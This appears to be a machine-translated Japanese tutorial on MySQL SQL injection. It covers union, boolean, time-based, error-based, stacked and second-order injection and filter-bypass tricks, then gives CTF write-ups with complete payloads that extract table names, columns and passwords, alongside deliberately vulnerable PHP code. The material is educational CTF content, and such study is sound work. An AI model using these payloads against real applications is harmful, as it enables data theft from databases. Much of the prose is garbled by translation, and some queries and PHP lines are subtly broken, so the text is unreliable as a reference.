SQLインジェクションの基本的な知識
1.データベース関連の知識
1.1information_schema:MySqlのデフォルトデータベース
- スキーマ:
ユーザーが作成したすべてのデータベースのライブラリ名を保存し、
データベースのフィールド名を記録します。ライブラリ名----- SCHEMA_NAME - TABLES:
ユーザーが作成したすべてのデータベースのライブラリ名とテーブル名、および対応するフィールド名を格納します。
ライブラリ名----- TABLE_SCHEMAテーブル名---- TABLE_NAME - 列:
ユーザーが作成したすべてのデータベースのライブラリ名、テーブル名、およびフィールド名を格納します。
ライブラリ名----- TABLE_SCHEMAテーブル名---- TABLE_NAME
フィールド名----- COLUMN_NAME
1.2Mysqクエリステートメント
- SELECTフィールド名FROMライブラリ名。テーブル名
- SELECTフィールド名FROMライブラリ名。テーブル名WHERE既知のフィールド名= '既知の値'
- SELECTフィールド名FROMライブラリ名。テーブル名WHERE既知のフィールド名1 = '既知の値1'AND既知のフィールド名2 ='既知の値2 '
2.攻撃方法
2.1ユニオンインジェクション
- フィールドデータテーブルクエリの数による順序
例:id = 13ページの結果による順序id = 1は同じ、id = 1の順序。4ページの結果id = 1は異なり、フィールドの数は3です。 - ユニオン選択バースト表示ポイント
例:id = -1ユニオン選択1、2、3ページは2、3を返します。これは、2と3の位置がMySQLステートメントdiに入ることができることを意味します。 - MySQLステートメントの
例:最初に位置2でdatabase()関数を使用して現在のデータベース名をクエリします-「sql」、次にデータベース「emails」のテーブル名をクエリし、次にデータベース名とテーブルを取得した後にフィールド名をクエリしますname。email_id '、最終的に必要なデータを取得します
id = 1 union select 1,database(),3;
id = 1 union select 1,tabel_name from information_schema.tables where table_schema='sql' limit 0,1;,3
id = 1 union select 1,column_name from information_schema.columns where table_schema='sql' and table_name='emails' limit 0,1;,3
id = 1 union select 1,email_id from sql.emails limit 0,1;,3
2.2ブールインジェクション
- ページがデータベースにデータを返さない場合は、ブールインジェクションを試してください
- データベースの長さを決定し、nのさまざまな値を試し、ページの戻りステータスからデータベースの長さを取得します
id = '1' and length(database()) >= n --+
- 文字ごとに判断してデータベースライブラリ名を取得します。変数はburpsuitでブラストでき、同じ方法を使用してテーブル名が
id = '1' and substr(database(),1,1)='t' --+
id = '1' and substr((select table_name from information_schema.tables where table_schema= 'sql' limit 0,1)1,1))='e' --+
タイムインジェクションフォーム
id ='1' and if(substr((select table_name from information_schema.tables where table_schema= 'sql' limit 0,1)1,1))='e',sleep(3),1) --+
2.3エラーインジェクション
- ページに返されたエラーメッセージに従って、updataxml()などの関数を使用してデータを取得します。
例:updatexml()を使用してデータベーステストのテーブル名を取得します。
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
2.4スタッククエリインジェクション
1.判断条件:id = 1 'を使用してmysqlエラーを表示する場合id = 1'#ページが通常の結果に戻る場合は、スタックインジェクションを試すことができます
2.インジェクションコード例
id = '1';select if(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
2.5二次注入
- 1.php登録ページのコード分析
<?php
$con=mysqli_connect("localhost","root","root","sql");
if(mysqli_connect_errno())
{
echo "连接失败:".mysqli_connect_error();
}
$username = $_GET['username'];
$password = $_GET['password'];
$result = mysqli_query($con,"insert into users(`username`,`password`) values('".addslashes($username)."','"md5($password)."')");
echo "新id为:".mysqli_insert_id($con);
?>
- このページはGETを使用してパスワードとユーザー名のパラメーターを取得し、それらを挿入ステートメントに接続してデータベースに挿入します。
- パラメータusernmaeは、addslashes($ username)関数を使用してaddslashes()をエスケープし
ます。例:
エスケープ文字o'reilly ----> o '\ reillyは、データベースに挿入されたときにデータをo'reilyとして保持します。 - パラメータパスワードはmd5で暗号化され、データベースに挿入されます
- 登録後、ログインID2を返します
。phpアクセスページのコード分析
<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())
{
echo "连接失败:".mysqli_connect_error();
}
$id =intval($_GET['id']);
$result = mysqli_query($con,"select *from users where `id`=".$id);
$row = mysqli_fetch_array($result);
$username = $row['username'];
$result2 = mysqli_query($con,"select * from person where `username`='".$username."'");
if($row2 = mysqli_fetch_array($result2)){
echo $row2['username'].":".$row2['money'];
}
else{
echo mysqli_error($con);}
?>
- Getを使用してパラメーターIDを取得し、intval()関数を使用して、それがSQLステートメントにスプライスされた整数であることを確認してusersテーブルのユーザー名をクエリします
- 次に、personテーブルに移動して、ユーザー名に対応するデータをクエリします。
インジェクションの例
2.phpのtest 'のエラーを使用して、ユニオン
1の後のコンテンツをクエリします。最初に1.php?username = test'を試してください。返されるIDは21で、2.php?id = 21にアクセスするとエラー
2.次に、1.php?usename = test'order by n%23を試してください。対応するidインターフェイスに
アクセスして、データベーステーブル3にあるフィールドの数を確認します。3つのフィールドがあると仮定して、1.php?username = testにアクセスします。 'union select 1、user()、3%23
新しいid = 40を取得訪問2.php?id = 40 user()の結果を取得
3.SQLインジェクションバイパス
3.1ケースバイパス注入
例:
id = 1および1 = 1ページにアクセスすると、「ハッカーなし」が返されます。キーワードがフィルタリングされていることは明らかです。id= 1および1 = 1を試してください。
3.2ダブルライトバイパスインジェクション
例:
訪問ID = 1および1 = 1の場合、ページはMySQLエラーを報告します。エラーメッセージから、1 = 1が1 = 1になり、キーワードがフィルタリングされることがわかります。二重書き込みを使用してid =をバイパスします。 1 aandnd 1 = 2;
または==> oorr、From ==> FFromromなど。
4.いくつかの簡単な質問例
4.1 [オタクチャレンジ2019] Lovesqlの問題解決のアイデア
- ユニオンインジェクションを使用してみてください。最初にフィールドの数を1'order by 3#と1 'order by 4#で決定します。ページの戻り値は異なり、起動されたすべてのフィールドの数は3です。
- 次に、1 'ユニオン選択1,2,3#をバーストしてみます
- 次に、union select 1,2,3#の3の位置を使用して、データベースの情報を取得してみてください。
payload: 1' union select 1,2,database()#
payload: 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#
payload: 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#
payload: 1' union select 1,2,group_concat(password) from l0ve1ysq1#
あなたは旗を得ることができます:
4.2 [オタクチャレンジ2019] BabySQL
考え方は4.1と同じで、4.1に基づいて、ステップのペイロードに直接二重書き込みバイパスが追加されます。
爆発的な表示->データベースの確認->テーブル名の確認->フィールド名の確認->パスワードの確認によるフラグの取得
1' uniounionn selecselectt 1,2,3#
1' uniounionn selecselectt 1,2,database()#
1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema="geek"#
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name="b4bsql"#
1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#
4.3 [强0042杯2019]さりげなく賭ける
- 文字列のフィルタリングを見つけるためにユニオンインジェクションを使用してみてください
- スタックインジェクションを試してください
- アイデアを与える:データベースを検索する->テーブル名を検索する->フィールド名を検索する
payload: 1';show databases;#
payload: 1';show tables;#
payload: 1';show columns from words;#
payload: 1';show columns from `1919810931114514`;#
バックグラウンドのデフォルトのクエリテーブルはwordsであることがわかります。表示を変更して、1919810931114514テーブルをクエリできます。
payload: 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
1 'または1 = 1#フラグを取得します。
4.4 [オタクチャレンジ2019] HardSQL(エラーインジェクション)
問題解決のアイデア
1.手動でユニオンインジェクションを試して、ユニオン選択、スペース、その他の文字がフィルタリングされていることを確認します
2.エラーインジェクションの報告を試みます。
スペースフィルタリングの代わりに()を使用します=大文字でselectのように使用します
3.データベース名を取得します、テーブル名、フィールド名が順番に
4になります。フラグを取得したときに最終的に見つかりました。
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(password))from(H4rDsq1)),0x7e),1))#
上記のインジェクション方法では、フラグの一部しか取得できません。これは文字数の制限である必要があり、左右を追加します。
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(left(password,25)))from(H4rDsq1)),0x7e),1))#
旗を立てる
flag{2e150fa9-e37c-4fb6-acb7-c89f5e0cdf39}
4.5 [GXYCTF2019] BabySQli
- パスワードを入力してパケットを取得するだけです
- base32エンコーディングのヒントを与え、最初にbase32デコード、次にbase64デコードを取得します
- select * from user where username = '$ name'
- まず、フィールド数を判断します
1' orderby 3#
が、orderbyがフィルタリングされていることがわかったので、大文字のバイパスを試してみましたが、フィールド数は3と判断されました。 - ユニバーサルパスワードを試す
- 予想通り、私をハックしないでください!
- フィルタリングだと思ったら、いろいろなバイパスを試してみてください
- それから私はソースコードを見ることを選びました(tcl ...)
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
- おそらく、選択結果の2桁目がadminと等しくなければならず、3桁目がパスワードmd5暗号化と等しくなければならないことを意味します。
- 暗号化が202cb962ac59075b964b07152d234b70になった後、123md5になるパスワードを選択します
- したがって、ペイロードは次のようになります
username:wtcl' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
password:123
フラグを立ててください!それを考えると、ひびが入る可能性のある問題を考えるのは難しくありません